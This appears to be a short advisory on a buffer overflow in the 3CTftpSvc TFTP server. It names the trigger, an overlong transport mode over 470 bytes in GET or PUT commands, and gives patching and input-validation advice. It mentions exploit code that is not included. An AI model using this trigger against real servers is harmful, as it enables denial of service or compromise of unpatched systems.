Buffer Overflow (Long transporting mode) Vulnerability Exploit

This is just a DoS exploiting code. A vulnerability has been identified in 3CTftpSvc TFTP Server, which could be exploited by attackers to execute arbitrary commands or cause a denial of service. This flaw is due to a buffer overflow error when handling an overly long transporting mode (more than 470 bytes) passed to a "GET" or "PUT" command, which could be exploited by malicious users to compromise a vulnerable system or crash an affected application.

Mitigation:

Apply the latest patches and updates from the vendor. Implement proper input validation and sanitization techniques to prevent buffer overflow vulnerabilities.
